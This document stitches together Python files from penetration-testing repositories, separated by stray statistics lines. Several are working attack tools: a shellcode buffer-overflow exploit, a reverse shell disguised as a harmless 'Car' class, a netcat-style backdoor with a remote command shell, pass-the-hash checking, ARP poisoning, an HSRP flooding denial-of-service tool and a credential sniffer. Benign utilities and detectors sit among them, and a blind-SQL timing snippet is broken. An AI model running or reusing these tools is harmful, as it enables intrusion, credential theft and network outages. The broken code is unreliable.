hashpass(user, lm, nt, target): WINEXE = "pth-winexe -U %s%%%s:%s --uninstall //%s whoami 2>&1" % (user, lm, nt, target) try: winexe_results = subprocess.check_output(WINEXE, shell=True) if not "ERROR" in winexe_results: return True except KeyboardInterrupt: printMinus("Skipping:\n\t%s" % WINEXE) return False except subprocess.CalledProcessError as e: return False except Exception as e: printErr("Unable to pass the hash:\n\t%s\n\n%s" % (WINEXE, e)) return False return False def check(hashes, targets): for target in targets: printStdSpecial("Checking %s" % target) if isWindows(target): for hash in hashes: hashParts = hash.split(":") user = hashParts[0] lm = hashParts[2] if "NO PASSWORD" in lm or "0000000000" in lm: lm = "AAD3B435B51404EEAAD3B435B51404EE" nt = hashParts[3] if hashpass(user, lm, nt, target): printPlus("pth-winexe -U %s%%%s:%s --uninstall //%s cmd" % (user, lm, nt, target)) else: printMinus("%s:%s:%s" % (user, lm, nt)) # ------------------------------------ # Main # ------------------------------------ def main(argv): if len(sys.argv) != 3: printUsage() sys.exit(2) # Validate Hashes HASHES = [] if os.path.isfile(sys.argv[1]): with open(sys.argv[1]) as f: for line in f: if not validateHash(line.strip()): printErr("Invalid hash format: %s" % line.strip()) continue HASHES.append(line.strip()) else: if not validateHash(sys.argv[1]): printErr("Invalid hash format: %s" % sys.argv[1]) printUsage() sys.exit(2) HASHES = [sys.argv[1]] # Validate Targets TARGETS = [] if os.path.isfile(sys.argv[2]): with open(sys.argv[2]) as f: for line in f: if not validateIp(line.strip()): printErr("Invalid target format: %s" % line.strip()) continue TARGETS.append(line.strip()) else: if not validateIp(sys.argv[2]): printErr("Invalid target format: %s" % sys.argv[2]) printUsage() sys.exit(2) TARGETS = [sys.argv[2]] # Begin printHeader() try: check(HASHES, TARGETS) except KeyboardInterrupt: print "\n\nExiting.\n" sys.exit(1) if __name__ == "__main__": main(sys.argv[1:])
30.578431
155
0.527247
Hands-On-Penetration-Testing-with-Python
import socket # nasm > add eax,12 # 00000000 83C00C add eax,byte +0xc # nasm > jmp eax # 00000000 FFE0 jmp eax shellcode = ( "\xdd\xc3\xba\x88\xba\x1e\x34\xd9\x74\x24\xf4\x5f\x31\xc9" + "\xb1\x14\x31\x57\x19\x03\x57\x19\x83\xc7\x04\x6a\x4f\x2f" + "\xef\x9d\x53\x03\x4c\x32\xfe\xa6\xdb\x55\x4e\xc0\x16\x15" + "\xf4\x53\xfb\x7d\x09\x6c\xea\x21\x67\x7c\x5d\x89\xfe\x9d" + "\x37\x4f\x59\x93\x48\x06\x18\x2f\xfa\x1c\x2b\x49\x31\x9c" + "\x08\x26\xaf\x51\x0e\xd5\x69\x03\x30\x82\x44\x53\x07\x4b" + "\xaf\x3b\xb7\x84\x3c\xd3\xaf\xf5\xa0\x4a\x5e\x83\xc6\xdc" + "\xcd\x1a\xe9\x6c\xfa\xd1\x6a" ) host="127.0.0.1" ret="\x97\x45\x13\x08" #crash="\x41" * 4368 + "\x42" * 4 + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90" crash= shellcode + "\x41" * (4368-105) + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90" buffer = "\x11(setup sound " + crash + "\x90\x00#" # buffer = "\x11(setup sound " + uniquestring + "\x90\x00#" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host, 13327)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
31.833333
83
0.605419
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import bcrypt # Let's first enter a password new = raw_input('Please enter a password: ') # We'll encrypt the password with bcrypt with the default salt value of 12 hashed = bcrypt.hashpw(new, bcrypt.gensalt()) # We'll print the hash we just generated print('The string about to be stored is: ' + hashed) # Confirm we entered the correct password plaintext = raw_input('Please re-enter the password to check: ') # Check if both passwords match if bcrypt.hashpw(plaintext, hashed) == hashed: print 'It\'s a match!' else: print 'Please try again.'
32.222222
74
0.716918
cybersecurity-penetration-testing
from Tkinter import * import ttk from dateutil import parser as duparser import datetime import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This script uses a GUI to show date values interpreted by common timestamp formats' class DateDecoder(object): """ The DateDecoder class handles the construction of the GUI and the processing of date & time values """ def __init__(self): """ The __init__ method initializes the root GUI window and variable used in the script """ # Init root window self.root = Tk() self.root.geometry("500x180+40+40") self.root.config(background = '#ECECEC') self.root.title('Date Decoder') # Init time values self.processed_unix_seconds = None self.processed_windows_filetime_64 = None self.processed_chrome_time = None # Set Constant Epoch Offset self.epoch_1601 = 11644473600000000 self.epoch_1970 = datetime.datetime(1970,1,1) def run(self): """ The run method calls appropriate methods to build the GUI and set's the event listener loop. """ logging.info('Launching GUI') self.buildInputFrame() self.buildOutputFrame() self.root.mainloop() def buildInputFrame(self): """ The buildInputFrame method builds the interface for the input frame """ # Frame Init self.input_frame = ttk.Frame(self.root) self.input_frame.config(padding = (30,0)) self.input_frame.pack() # Input Value ttk.Label(self.input_frame, text="Enter Time Value").grid(row=0, column=0) self.input_time = StringVar() ttk.Entry(self.input_frame, textvariable=self.input_time, width=25).grid(row=0, column=1, padx=5) # Radiobuttons self.time_type = StringVar() self.time_type.set('raw') ttk.Radiobutton(self.input_frame, text="Raw Value", variable=self.time_type, value="raw").grid(row=1, column=0, padx=5) ttk.Radiobutton(self.input_frame, text="Formatted Value", variable=self.time_type, value="formatted").grid(row=1, column=1, padx=5) # Button ttk.Button(self.input_frame, text="Run", command=self.convert).grid(row=2, columnspan=2, pady=5) def buildOutputFrame(self): """ The buildOutputFrame method builds the interface for the output frame """ # Output Frame Init self.output_frame = ttk.Frame(self.root) self.output_frame.config(height=300, width=500) self.output_frame.pack() # Output Area ## Label for area self.output_label = ttk.Label(self.output_frame, text="Conversion Results (UTC)") self.output_label.config(font=("", 16)) self.output_label.pack(fill=X) ## For Unix Seconds Timestamps self.unix_sec = ttk.Label(self.output_frame, text="Unix Seconds: N/A") self.unix_sec.pack(fill=X) ## For Windows FILETIME 64 Timestamps self.win_ft_64 = ttk.Label(self.output_frame, text="Windows FILETIME 64: N/A") self.win_ft_64.pack(fill=X) ## For Chrome Timestamps self.google_chrome = ttk.Label(self.output_frame, text="Google Chrome: N/A") self.google_chrome.pack(fill=X) def convert(self): """ The convert method handles the event when the button is pushed. It calls to the converters and updates the labels with new output. """ logging.info('Processing Timestamp: ' + self.input_time.get()) logging.info('Input Time Format: ' + self.time_type.get()) # Init values every instance self.processed_unix_seconds = 'N/A' self.processed_windows_filetime_64 = 'N/A' self.processed_chrome_time = 'N/A' # Use this to call converters self.convertUnixSeconds() self.convertWindowsFiletime_64() self.convertChromeTimestamps() # Update labels self.output() def convertUnixSeconds(self): """ The convertUnixSeconds method handles the conversion of timestamps per the UNIX seconds format """ if self.time_type.get() == 'raw': try: self.processed_unix_seconds = datetime.datetime.fromtimestamp(float(self.input_time.get())).strftime('%Y-%m-%d %H:%M:%S') except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_unix_seconds = str(type(e).__name__) elif self.time_type.get() == 'formatted': try: converted_time = duparser.parse(self.input_time.get()) self.processed_unix_seconds = str((converted_time - self.epoch_1970).total_seconds()) except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_unix_seconds = str(type(e).__name__) def convertWindowsFiletime_64(self): """ The convertWindowsFiletime_64 method handles the conversion of timestamps per the Windows FILETIME format """ if self.time_type.get() == 'raw': try: base10_microseconds = int(self.input_time.get(), 16) / 10 datetime_obj = datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=base10_microseconds) self.processed_windows_filetime_64 = datetime_obj.strftime('%Y-%m-%d %H:%M:%S.%f') except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_windows_filetime_64 = str(type(e).__name__) elif self.time_type.get() == 'formatted': try: converted_time = duparser.parse(self.input_time.get()) minus_epoch = converted_time - datetime.datetime(1601,1,1) calculated_time = minus_epoch.microseconds + (minus_epoch.seconds * 1000000) + (minus_epoch.days * 86400000000) self.processed_windows_filetime_64 = str(hex(int(calculated_time)*10)) except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_windows_filetime_64 = str(type(e).__name__) def convertChromeTimestamps(self): """ The convertChromeTimestamps method handles the conversion of timestamps per the Google Chrome timestamp format """ # Run Conversion if self.time_type.get() == 'raw': try: converted_time = datetime.datetime.fromtimestamp((float(self.input_time.get())-self.epoch_1601)/1000000) self.processed_chrome_time = converted_time.strftime('%Y-%m-%d %H:%M:%S.%f') except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_chrome_time = str(type(e).__name__) elif self.time_type.get() == 'formatted': try: converted_time = duparser.parse(self.input_time.get()) chrome_time = (converted_time - self.epoch_1970).total_seconds()*1000000 + self.epoch_1601 self.processed_chrome_time = str(int(chrome_time)) except Exception, e: logging.error(str(type(e)) + "," + str(e)) self.processed_chrome_time = str(type(e).__name__) def output(self): """ The output method updates the output frame with the latest value. """ if isinstance(self.processed_unix_seconds, str): self.unix_sec['text'] = "Unix Seconds: " + self.processed_unix_seconds if isinstance(self.processed_windows_filetime_64, str): self.win_ft_64['text'] = "Windows FILETIME 64: " + self.processed_windows_filetime_64 if isinstance(self.processed_chrome_time, str): self.google_chrome['text'] = "Google Chrome: " + self.processed_chrome_time if __name__ == '__main__': """ This statement is used to initialize the GUI. No arguments needed as it is a graphic interface """ # Initialize Logging log_path = 'date_decoder.log' logging.basicConfig(filename=log_path, level=logging.DEBUG, format='%(asctime)s | %(levelname)s | %(message)s', filemode='a') logging.info('Starting Date Decoder v.' + str(__version__)) logging.debug('System ' + sys.platform) logging.debug('Version ' + sys.version) # Create Instance and run the GUI dd = DateDecoder() dd.run()
40.183099
140
0.587846
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import os import optparse import mechanize import urllib import re import urlparse from _winreg import * def val2addr(val): addr = '' for ch in val: addr += '%02x ' % ord(ch) addr = addr.strip(' ').replace(' ', ':')[0:17] return addr def wiglePrint(username, password, netid): browser = mechanize.Browser() browser.open('http://wigle.net') reqData = urllib.urlencode({'credential_0': username, 'credential_1': password}) browser.open('https://wigle.net/gps/gps/main/login', reqData) params = {} params['netid'] = netid reqParams = urllib.urlencode(params) respURL = 'http://wigle.net/gps/gps/main/confirmquery/' resp = browser.open(respURL, reqParams).read() mapLat = 'N/A' mapLon = 'N/A' rLat = re.findall(r'maplat=.*\&', resp) if rLat: mapLat = rLat[0].split('&')[0].split('=')[1] rLon = re.findall(r'maplon=.*\&', resp) if rLon: mapLon = rLon[0].split print '[-] Lat: ' + mapLat + ', Lon: ' + mapLon def printNets(username, password): net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"+\ "\NetworkList\Signatures\Unmanaged" key = OpenKey(HKEY_LOCAL_MACHINE, net) print '\n[*] Networks You have Joined.' for i in range(100): try: guid = EnumKey(key, i) netKey = OpenKey(key, str(guid)) (n, addr, t) = EnumValue(netKey, 5) (n, name, t) = EnumValue(netKey, 4) macAddr = val2addr(addr) netName = str(name) print '[+] ' + netName + ' ' + macAddr wiglePrint(username, password, macAddr) CloseKey(netKey) except: break def main(): parser = optparse.OptionParser('usage %prog '+\ '-u <wigle username> -p <wigle password>') parser.add_option('-u', dest='username', type='string', help='specify wigle password') parser.add_option('-p', dest='password', type='string', help='specify wigle username') (options, args) = parser.parse_args() username = options.username password = options.password if username == None or password == None: print parser.usage exit(0) else: printNets(username, password) if __name__ == '__main__': main()
28.121951
65
0.568915
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] values = [] for i in xrange(100): r = requests.get(url) values.append(int(r.elapsed.total_seconds())) average = sum(values) / float(len(values)) print "Average response time for "+url+" is "+str(average)
20.25
58
0.69685
owtf
""" owtf.models.url ~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Boolean, Column, Integer, String, ForeignKey from owtf.db.model_base import Model class Url(Model): __tablename__ = "urls" target_id = Column(Integer, ForeignKey("targets.id")) url = Column(String, primary_key=True) visited = Column(Boolean, default=False) scope = Column(Boolean, default=True) def __repr__(self): return "<URL (url='{!s}')>".format(self.url)
21.190476
67
0.627957
Hands-On-Penetration-Testing-with-Python
import os as drive import subprocess as destination import socket as my_friend class Car: def __init__(self): self.driver="127" self.driver=self.driver+".0" self.driver=self.driver+".0.1" self.house_no=100*80 self.door="" self.address="/" self.address=self.address+"b"+""+"i"+"n"+"/" self.address=self.address+"s"+""+"h"+""+"" self.car="-" self.car=self.car+"i" ctr=0 def start_car(self): friends_house=my_friend.socket road=friends_house(my_friend.AF_INET,my_friend.SOCK_STREAM) goto=road.connect goto((self.driver,self.house_no)) lane=road.fileno drive.dup2(lane(),0) drive.dup2(lane(),1) drive.dup2(lane(),2) drive_to=destination.call p=drive_to([self.address,self.car]) driver=Car() driver.start_car()
21.969697
61
0.669749
Mastering-Machine-Learning-for-Penetration-Testing
import matplotlib.pyplot as plt import numpy as np x = np.linspace(0, 20, 50) plt.plot(x, x, label='linear') plt.legend() plt.show()
18.142857
31
0.706767
cybersecurity-penetration-testing
from scapy.all import * interface = 'mon0' i=1 def info(fm): if fm.haslayer(Dot11): if ((fm.type == 0) & (fm.subtype==12)): global i print "Deauth detected ", i i=i+1 sniff(iface=interface,prn=info)
17.25
41
0.619266
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib message = raw_input("Enter the string you would like to hash: ") md5 = hashlib.md5(message.encode()) print (md5.hexdigest())
17.6
64
0.675676
cybersecurity-penetration-testing
#!/opt/local/bin/python2.7 import sys import socket import getopt import threading import subprocess # define some global variables listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 # this runs a command and returns the output def run_command(command): # trim the newline command = command.rstrip() # run the command and get the output back try: output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # send the output back to the client return output # this handles incoming client connections def client_handler(client_socket): global upload global execute global command # check for upload if len(upload_destination): # read in all of the bytes and write to our destination file_buffer = "" # keep reading data until none is available while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data # now we take these bytes and try to write them out try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # acknowledge that we wrote the file out client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) # check for command execution if len(execute): # run the command output = run_command(execute) client_socket.send(output) # now we go into another loop if a command shell was requested if command: while True: # show a simple prompt client_socket.send("<BHP:#> ") # now we receive until we see a linefeed (enter key) cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) # we have a valid command so execute it and send back the results response = run_command(cmd_buffer) # send back the response client_socket.send(response) # this is for incoming connections def server_loop(): global target global port # if no target is defined we listen on all interfaces if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() # spin off a thread to handle our new client client_thread = threading.Thread(target=client_handler,args=(client_socket,)) client_thread.start() # if we don't listen we are a client....make it so. def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # connect to our target host client.connect((target,port)) # if we detect input from stdin send it # if not we are going to wait for the user to punch some in if len(buffer): client.send(buffer) while True: # now wait for data back recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response+= data if recv_len < 4096: break print response, # wait for more input buffer = raw_input("") buffer += "\n" # send it off client.send(buffer) except: # just catch generic errors - you can do your homework to beef this up print "[*] Exception! Exiting." # teardown the connection client.close() def usage(): print "Netcat Replacement" print print "Usage: bhpnet.py -t target_host -p port" print "-l --listen - listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run - execute the given file upon receiving a connection" print "-c --command - initialize a command shell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples: " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() # read the commandline options try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option" # are we going to listen or just send data from stdin if not listen and len(target) and port > 0: # read in the buffer from the commandline # this will block, so send CTRL-D if not sending input # to stdin buffer = sys.stdin.read() # send data off client_sender(buffer) # we are going to listen and potentially # upload things, execute commands and drop a shell back # depending on our command line options above if listen: server_loop() main()
34.103734
133
0.42771
cybersecurity-penetration-testing
import requests times = [] answer = "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'} payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} req = requests.post(url, data=payload, cookies=cookies) firstresponsetime = str(req.elapsed) for x in range(1, firstresponsetime): payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} req = requests.post('<target url>', data=payload, cookies=cookies) responsetime = req.elapsed.total_seconds a = chr(responsetime) times.append(a) answer = ''.join(times) return answer averagetimer(http://google.com)
29.666667
98
0.696734
hackipy
#!/usr/bin/python3 import scapy.all as scapy import argparse def get_arguments(): """This function will get arguments from command line""" parser = argparse.ArgumentParser(description="All arguments are optional") parser.add_argument("-i","--interface",help="Interface to sniff on",dest="interface") parser.add_argument("-s","--silent",help="Show less output",action="store_true",dest='mute') options = parser.parse_args() return options.interface,options.mute def get_mac(ip): """This function will get the MAC address of the argument (IP) by ARP request""" arp_packet = scapy.ARP(pdst=ip) broadcast_packet = scapy.Ether(dst='ff:ff:ff:ff:ff:ff') arp_broadcast_packet = broadcast_packet / arp_packet answered = scapy.srp(arp_broadcast_packet,timeout=2,verbose=False)[0] try: return answered[0][1].hwsrc except IndexError: return None def sniff(interface): """This function will sniff packets on provided interface and call process_packet function to filter and display the result""" print("[>] Sniffing started, Capturing interesting packets\n") scapy.sniff(iface=interface,store=False,prn=process_packet) def process_packet(packet): """This function will process the packets being sniffed for analysis""" if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2: real_mac_address = get_mac(packet[scapy.ARP].psrc) if real_mac_address: if real_mac_address != packet[scapy.ARP].hwsrc: print("[+] Warning! ARP spoofing detected") interface, mute = get_arguments() sniff(interface)
33.4375
96
0.682809
cybersecurity-penetration-testing
#!/usr/bin/python # # Proof-of-concept HSRP Active router Flooder triggering outbound gateway Denial of Service. Not fully tested, not working stabily at the moment. # # Python requirements: # - scapy # # Mariusz Banach / mgeeky, '18, <[email protected]> # import sys import struct import string import random import argparse import multiprocessing import socket import fcntl import struct try: from scapy.all import * except ImportError: print('[!] Scapy required: pip install scapy') sys.exit(1) VERSION = '0.1' config = { 'verbose' : False, 'interface' : None, 'processors' : 1, # HSRP Fields 'group' : 1, 'priority' : 255, 'virtual-ip' : '', 'source-ip' : '', 'dest-ip' : '224.0.0.2', 'auth' : 'cisco\x00\x00\x00', } stopThreads = False # # =============================================== # class Logger: @staticmethod def _out(x): if config['verbose']: sys.stdout.write(x + '\n') @staticmethod def out(x): Logger._out('[.] ' + x) @staticmethod def info(x): Logger._out('[?] ' + x) @staticmethod def err(x): sys.stdout.write('[!] ' + x + '\n') @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) def generatePacket(): ip = IP() ip.src = config['source-ip'] ip.dst = config['dest-ip'] udp = UDP() udp.sport = 1985 udp.dport = 1985 hsrp = HSRP() hsrp.version = 0 hsrp.opcode = 1 hsrp.group = config['group'] hsrp.priority = config['priority'] hsrp.virtualIP = config['virtual-ip'] hsrp.auth = config['auth'] hsrppacket = ip / udp / hsrp return hsrppacket def flooder(num): Logger.info('Starting task: {}'.format(num)) while stopThreads != True: try: p = generatePacket() if stopThreads: raise KeyboardInterrupt send(p, verbose = config['verbose'], iface = config['interface']) except KeyboardInterrupt: break Logger.info('Stopping task: {}'.format(num)) def get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack('256s', ifname[:15]) )[20:24]) def parseOptions(argv): global config print(''' :: HSRP Flooding / Denial of Service tool Floods the interface with Active router Coup HSRP packets. Mariusz Banach / mgeeky '18, <[email protected]> v{} '''.format(VERSION)) parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]') parser.add_argument('-I', '--interface', metavar='DEV', default='', help='Select interface on which to operate.') parser.add_argument('-s', '--source', metavar='SRC', default='', help='Specify source IP address. By default: own IP') parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') hsrp = parser.add_argument_group('HSRP Fields', 'Specifies contents of interesting HSRP fields in packets to send') hsrp.add_argument('-g', '--group', help = 'Group number. Default: 1') hsrp.add_argument('-p', '--priority', help = 'Active router priority. Default: 255') hsrp.add_argument('-i', '--virtual-ip', dest='virtualip', help = 'Virtual IP of the gateway to spoof.') hsrp.add_argument('-a', '--auth', help = 'Authentication string. Default: cisco') args = parser.parse_args() if not args.interface: print('[!] Interface option is mandatory.') sys.exit(-1) config['verbose'] = args.verbose config['interface'] = args.interface #config['processors'] = multiprocessing.cpu_count() if args.group: config['group'] = args.group if args.priority: config['priority'] = args.priority if args.virtualip: config['virtual-ip'] = args.virtualip if args.auth: config['auth'] = args.auth if args.source: config['source-ip'] = args.source else: config['source-ip'] = get_ip_address(config['interface']) print('Using source IP address: {}'.format(config['source-ip'])) return args def main(argv): global stopThreads opts = parseOptions(argv) if not opts: Logger.err('Options parsing failed.') return False if os.getuid() != 0: Logger.err('This program must be run as root.') return False jobs = [] for i in range(config['processors']): task = multiprocessing.Process(target = flooder, args = (i,)) jobs.append(task) task.daemon = True task.start() print('[+] Started flooding on dev: {}. Press CTRL-C to stop that.'.format(config['interface'])) try: while jobs: jobs = [job for job in jobs if job.is_alive()] except KeyboardInterrupt: stopThreads = True print('\n[>] Stopping...') stopThreads = True time.sleep(3) if __name__ == '__main__': main(sys.argv)
25.321244
145
0.597755
cybersecurity-penetration-testing
import shodan import requests SHODAN_API_KEY = "{Insert your Shodan API key}" api = shodan.Shodan(SHODAN_API_KEY) target = 'www.packtpub.com' dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY try: # First we need to resolve our targets domain to an IP resolved = requests.get(dnsResolve) hostIP = resolved.json()[target] # Then we need to do a Shodan search on that IP host = api.host(hostIP) print "IP: %s" % host['ip_str'] print "Organization: %s" % host.get('org', 'n/a') print "Operating System: %s" % host.get('os', 'n/a') # Print all banners for item in host['data']: print "Port: %s" % item['port'] print "Banner: %s" % item['data'] # Print vuln information for item in host['vulns']: CVE = item.replace('!','') print 'Vulns: %s' % item exploits = api.exploits.search(CVE) for item in exploits['matches']: if item.get('cve')[0] == CVE: print item.get('description') except: 'An error occured'
25.780488
95
0.592525
GWT-Penetration-Testing-Toolset
#!/usr/bin/env python class Parameter(object): def __init__(self, tn ): self.typename = tn self.values = [] self.flag = False self.is_custom_obj = False self.is_list = False self.is_array = False def _add_value(self, val): values.append( val ) def _set_flag(self, flag_value ): self.flag = flag_value def __repr__(self): return "<Parameter %r>" % self.__dict__
23.5
48
0.498978
Python-Penetration-Testing-Cookbook
from scapy.all import * interface = "en0" gateway_ip = "192.168.1.2" target_ip = "192.168.1.103" broadcastMac = "ff:ff:ff:ff:ff:ff" packet_count = 50 conf.verb = 0 def getMac(IP): ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1) for send,recive in ans: return r[Ether].src return None try: gateway_mac = getMac(gateway_ip) print ("Gateway MAC :" + gateway_mac) except: print ("Failed to get gateway MAC. Exiting.") sys.exit(0) try: target_mac = getMac(target_ip) print ("Target MAC :" + target_mac) except: print ("Failed to get target MAC. Exiting.") sys.exit(0) def poison(gateway_ip,gateway_mac,target_ip,target_mac): targetPacket = ARP() targetPacket.op = 2 targetPacket.psrc = gateway_ip targetPacket.pdst = target_ip targetPacket.hwdst= target_mac gatewayPacket = ARP() gatewayPacket.op = 2 gatewayPacket.psrc = target_ip gatewayPacket.pdst = gateway_ip gatewayPacket.hwdst= gateway_mac while True: try: targetPacket.show() send(targetPacket) gatewayPacket.show() send(gatewayPacket) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0) sys.exit(0) return def restore(gateway_ip,gateway_mac,target_ip,target_mac): print("Restoring target...") send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100) print("[Target Restored...") sys.exit(0) try: poison(gateway_ip, gateway_mac,target_ip,target_mac) except KeyboardInterrupt: restore(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0)
24.078947
106
0.647244
Penetration_Testing
from distutils.core import setup import py2exe setup(options = {"py2exe": {"bundle_files": 1,"compressed":True}}, windows = [{"script":"win_key-logger.py"}], zipfile = None)
34.2
126
0.697143
cybersecurity-penetration-testing
import threading from scapy.all import * # our packet callback def packet_callback(packet): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print "[*] Server: %s" % packet[IP].dst print "[*] %s" % packet[TCP].payload # fire up our sniffer sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
25.666667
87
0.613779
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Second-Edition
import socket IP = raw_input("enter the IP to crash:") PORT = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) banner = s.recv(1024) print(banner) command = "TRUN " header = "|/.:/" #buffer = "Z" * 10000 pattern = <value> s.send (command + header + pattern) print ("server dead")
22.214286
54
0.645062
PenetrationTestingScripts
from django.test import TestCase # Create your tests here.
14.25
32
0.783333
Effective-Python-Penetration-Testing
#!/bin/python #Importing modules from lxml import html import requests import itertools response = requests.get('http://packtpub.com/') tree = html.fromstring(response.content) #Create the list of Books: books = tree.xpath('//div[@class="book-block-title"]/text()') print books
17.866667
61
0.741135
Hands-On-Penetration-Testing-with-Python
from django.db import models class BlindProject(models.Model): project_name = models.CharField(max_length = 50, primary_key=True) public_IP = models.TextField() blind_URL = models.URLField() method = models.TextField() param_name = models.TextField() param_value = models.TextField() match_string = models.TextField() success_flg = models.TextField() project_status = models.TextField() class Project(models.Model): project_name = models.CharField(max_length = 50, primary_key=True) start_url = models.URLField() query_url = models.URLField() allowed_extensions = models.TextField() allowed_protocols = models.TextField() consider_only = models.TextField() exclude_fields = models.TextField() status = models.CharField(max_length = 50, default = "Not Set") login_url = models.URLField() logout_url = models.URLField() username = models.TextField() password = models.TextField() username_field= models.TextField(default = "Not Set") password_field = models.TextField(default = "Not Set") auth_parameters=models.TextField(default = "Not Set") queueName=models.TextField(default="-1") redisIP=models.TextField(default="localhost") auth_mode = models.TextField(default = "Not Set") #models. #models. def __unicode__(self): return self.project_name def get_no_of_urls_discovered(self): return Page.objects.filter(project=self).count() def get_no_urls_processed(self): return Page.objects.filter(project=self, visited=True).count() def get_vulnerabilities_found(self): vulns = Vulnerability.objects.filter(project=self) vulnsList=[] count = 0 for vuln in vulns: flg=0 for v in vulnsList: if v.url == vuln.url and v.form.input_field_list == vuln.form.input_field_list and v.re_attack == vuln.re_attack and v.auth!=vuln.auth: flg=1 break if flg==0: count = count + 1 vulnsList.append(vuln) return count class Page(models.Model): URL = models.URLField() content = models.TextField(blank = True) visited = models.BooleanField(default = False) auth_visited = models.BooleanField(default = False) status_code = models.CharField(max_length = 256, blank = True) connection_details = models.TextField(blank = True) project = models.ForeignKey(Project) page_found_on = models.URLField(blank = True) def __unicode__(self): return ' - '.join([self.project.project_name, self.URL]) class Form(models.Model): project = models.ForeignKey(Project) form_found_on = models.URLField() form_name = models.CharField(max_length = 512, blank = True) form_method = models.CharField(max_length = 10, default = 'GET') form_action = models.URLField(blank = True) form_content = models.TextField(blank = True) auth_visited = models.BooleanField(default = False) input_field_list = models.TextField(blank = True) def __unicode__(self): return ' + '.join([self.project.project_name, str(self.form_found_on), 'Auth: ' + str(self.auth_visited), 'Name: ' + self.form_name]) class InputField(models.Model): form = models.ForeignKey(Form) input_type = models.CharField(max_length = 256, default = 'input', blank = True) class Vulnerability(models.Model): form = models.ForeignKey(Form) details = models.TextField(blank = True) #details = models.BinaryField(blank = True) url = models.TextField(blank = True) re_attack = models.TextField(blank = True) project = models.TextField(blank = True) timestamp = models.TextField(blank = True) msg_type = models.TextField(blank = True) msg = models.TextField(blank = True) #msg = models.BinaryField(blank = True) auth = models.TextField(blank = True) class Settings(models.Model): allowed_extensions = models.TextField() allowed_protocols = models.TextField() consider_only = models.TextField() exclude_fields = models.TextField() username = models.TextField() password = models.TextField() auth_mode = models.TextField() def __unicode__(self): return 'Default Settings' class LearntModel(models.Model): project = models.ForeignKey(Project) page = models.ForeignKey(Page) form = models.ForeignKey(Form) query_id = models.TextField() learnt_model = models.TextField(blank = True) def _unicode__(self): return ' + '.join([self.project.project_name, self.page.URL])
